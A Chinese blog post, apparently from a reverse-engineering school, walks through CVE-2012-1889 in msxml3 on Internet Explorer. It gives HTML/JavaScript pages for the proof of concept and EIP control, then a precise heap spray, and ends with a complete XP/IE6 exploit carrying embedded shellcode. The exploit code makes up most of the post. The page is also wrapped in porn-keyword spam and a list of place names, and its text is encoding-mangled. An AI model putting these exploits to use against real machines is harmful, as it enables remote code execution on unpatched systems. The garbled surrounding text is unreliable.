最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

暴雷漏洞

2023-04-05 18:39 作者:rkvir逆向工程學(xué)院  | 我要投稿

作者丨黑蛋

一、漏洞簡(jiǎn)述

暴雷漏洞編號(hào)為cve-2012-1889,在2012年曝光的一種微軟的XML核心組件漏洞,該漏洞屬于緩沖區(qū)溢出,根據(jù)棧溢出可以控制EIP的位置。該漏洞產(chǎn)生于msxml3.dll模塊中,msxml3.dll是微軟的一個(gè)SAX2?幫助程序類。主要用途包括:XSL?轉(zhuǎn)換?(XSLT)?和?XML?路徑語(yǔ)言?(XPath)?的完全實(shí)現(xiàn)、對(duì)?XML (SAX2)?實(shí)現(xiàn)的簡(jiǎn)單?API?的修改,包括與萬(wàn)維網(wǎng)聯(lián)合會(huì)?(W3C)?標(biāo)準(zhǔn)和?OASIS?測(cè)試套件保持更高一致性。影響版本IE6和IE8。

二、漏洞環(huán)境

系統(tǒng)版本

Win7x86Sp1、XPSp3

三、漏洞分析

3.1、漏洞驗(yàn)證

首先看POC,代碼如下:

<html>
<head>
??? <title>www.vultop.comtitle>
head>
<body>
??? <object?classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"?id='HD'>object>
??? <script>
??????? document.getElementById("HD").object.definition(0);
????script>
body>
html>

雙擊POC,打開(kāi)Windbg附加第二個(gè)IE,g起來(lái),然后發(fā)現(xiàn)斷在如下地方:



可以看到這里回溯的話可以發(fā)現(xiàn)ecx的值來(lái)自于棧中,這里對(duì)漏洞原理不再贅述。definition是作為屬性使用,但是被當(dāng)做方法傳入?yún)?shù)的時(shí)候就觸發(fā)了這個(gè)漏洞。

3.2、棧溢出控制EIP

<html>
<head>
??? <title>www.vultop.comtitle>
head>
<body>
??? <object?classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"?id='HD'>object>
??? <script>
??? ?? var obj = document.getElementById('HD').object;
?????? ?var ImgPath = unescape("\u0C0C\u0C0C");
??????? while (ImgPath.length?<?0x1000)
??????????? ImgPath += ImgPath;
??? ????ImgPath = "\\\\1234" + ImgPath;
??????? ImgPath = ImgPath.substr(0, 0x1000-10);
??????
??????? var emtPic = document.createElement("img");
??????? emtPic.src = ImgPath;
??????? emtPic.nameProp;
????????? obj.definition(0);
????script>
body>
html>

這里把路徑后面全部拷貝為0C0C0C0C,然后返回當(dāng)前圖片名,就可以載入路徑。


在沒(méi)有保護(hù)的情況下,通過(guò)堆噴射,nop+shellcode就可以成功利用。

3.3、精準(zhǔn)噴射

由于DEP的存在,我們需要精準(zhǔn)噴射。Windows使用內(nèi)存分頁(yè)機(jī)制管理內(nèi)存,內(nèi)存操作的最小單位為一個(gè)內(nèi)存分頁(yè),一個(gè)內(nèi)存分頁(yè)4kb(0x1000)大?。?4位系統(tǒng)中最大的內(nèi)存分頁(yè)為1G),則申請(qǐng)的一段堆空間中,這段堆空間首地址一定是0x1000的倍數(shù),如果知道一個(gè)內(nèi)存地址相對(duì)于其所在內(nèi)存分頁(yè)首地址的偏移,那么就可以構(gòu)造一個(gè)內(nèi)存分頁(yè)大小的內(nèi)存塊,并在距離內(nèi)存塊首地址指定偏移的位置設(shè)置關(guān)鍵數(shù)據(jù),然后以該內(nèi)存塊作為的最小單元進(jìn)行堆噴,從而保證被內(nèi)存堆噴射覆蓋的指定內(nèi)存地址處存在關(guān)鍵數(shù)據(jù)
首先我們選擇堆噴射:

<html>
<head>
??? <title>www.vultop.comtitle>
head>
<body>
??? <object?classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"?id='HD'>object>
??? <script>
??? ?var shellcode = unescape('%u0c0c%u0c0c'+??
??????????????????????? '%u4141%u4141'+
??????????????????????? '%u4141%u4141'+
??????????????????????? '%u4141%u4141'+
????????????? ??????????'%u4141%u4141'+
??????????????????????? '%u4141%u4141'+
??????????????????????? '%uaaaa%uaaaa'?????
??????????????????????? );
var var_C = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (var_C.length + 20 + 8?<?65536) var_C+=var_C;? //0x10000,64kb,減去28個(gè)shellcode長(zhǎng)度
var_D = var_C.substring(0, (0x0c0c-0x24)/2);//0x24字節(jié)堆塊信息
var_D += shellcode;? //?拼接shellcode
var_D += var_C;????? //?拼接滑塊代碼
var_E = var_D.substring(0, 65536/2);
while(var_E.length?<?0x80000) var_E += var_E;//一個(gè)塊1MB
var_H = var_E.substring(0, 0x80000);
var var_F = new Array();
for (var_G=0;var_G<0x1f0;var_G++) var_F[var_G]=var_H;
???
??????????
??????????
??? ?? var obj = document.getElementById('HD').object;
?????? ?var ImgPath = unescape("\u0C0C\u0C0C");
??????? while (ImgPath.length?<?0x1000)
??????????? ImgPath += ImgPath;
??????? ImgPath = "\\\\1234" + ImgPath;
??????? ImgPath = ImgPath.substr(0, 0x1000-10);
??????
??????? var emtPic = document.createElement("img");
??????? emtPic.src = ImgPath;
??????? emtPic.nameProp;
????????? obj.definition(0);
????script>
body>
html>

這里為了更好的觀察,我用了x32dbg,,代碼注釋都在上面,放圖,可以看到已經(jīng)實(shí)現(xiàn)精準(zhǔn)噴射,當(dāng)然噴射有風(fēng)險(xiǎn),隨緣噴,多噴幾次:



順帶看看內(nèi)存分配情況:



3.4、構(gòu)造ROP鏈(失敗)

由于ASLR保護(hù)的存在,我們構(gòu)造ROP鏈?zhǔn)紫日业轿撮_(kāi)啟ASLR保護(hù)的模塊:



resource.dll和sogoupy.iem,用個(gè)der,倆個(gè)用不了。放棄了,這個(gè)漏洞就這么著吧

直接甩xp+IE6可以跑的EXP:

直接使用滑板指令+shellcode大面積噴射實(shí)現(xiàn),沒(méi)有任何保護(hù)。

<html>
<head>
??? <title>www.vultop.comtitle>
head>
<body>
??? <object?classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"?id='HD'>object>
??? <script>
??? ?var mPayload = unescape("\u0C0C\u0C0C");
??? ?while(mPayload.length?<?0x1000)
??? ?mPayload += mPayload;
??? var mSize=0x40000;
?var shellcode=unescape("\u68FC\u0A6A\u1E38\u6368\uD189\u684F\u7432"+
?"\u0C91\uF48B\u7E8D\u33F4\uB7DB\u2B04\u66E3\u33BB\u5332\u7568\u6573"+
?"\u5472\uD233\u8B64\u305A\u4B8B\u8B0C\u1C49\u098B\u698B\uAD08\u6A3D"+
?"\u380A\u751E\u9505\u57FF\u95F8\u8B60\u3C45\u4C8B\u7805\uCD03\u598B\u0320\u33DD\u47FF\u348B\u03BB\u99F5\uBE0F\u3A06"+
?"\u74C4\uC108\u07CA\uD003\uEB46\u3BF1\u2454\u751C\u8BE4\u2459\uDD03\u8B66\u7B3C\u598B\u031C\u03DD\uBB2C\u5F95\u57AB"+
?"\u3D61\u0A6A\u1E38\uA975\uDB33\u6853\u6577\u7473\u6668\u6961\u8B6C\u53C4\u5050\uFF53\uFC57\uFF53\uF857");?
??? mPayload+=shellcode;
??? while(mPayload.length?<= mSize)
??? mPayload += mPayload;
??? //mPayload = mPayload.substring(2,mSize-0x21);
??? mPayload = mPayload.substring(0,mSize);
??? //alert(mPayload.length.toString(16));
??? var mArray= new Array();
??? for (var i = 0; i?<?800; i++)
{
?mArray[i] = mPayload.substr(0,mPayload.length);
}
???
??????????
??????????
??? ?? var obj = document.getElementById('HD').object;
?????? ?var ImgPath = unescape("\u0C0C\u0C0C");
??????? while (ImgPath.length?<?0x1000)
??????????? ImgPath += ImgPath;
??????? ImgPath = "\\\\1234" + ImgPath;
??????? ImgPath = ImgPath.substr(0, 0x1000-10);
??????
??????? var emtPic = document.createElement("img");
??????? emtPic.src = ImgPath;
??????? emtPic.nameProp;
????????? obj.definition(0);
????script>
body>
html>





暴雷漏洞的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
阿鲁科尔沁旗| 平遥县| 平度市| 措美县| 蒙城县| 德阳市| 吴忠市| 静乐县| 葫芦岛市| 宜丰县| 富顺县| 四平市| 黎川县| 郁南县| 南华县| 宜君县| 云林县| 大宁县| 温泉县| 万荣县| 克山县| 遂川县| 长沙县| 鹤山市| 垫江县| 武鸣县| 宜良县| 定安县| 汤阴县| 高青县| 崇仁县| 定远县| 彰武县| 高台县| 那坡县| 信丰县| 房山区| 遂宁市| 扬中市| 方城县| 静乐县|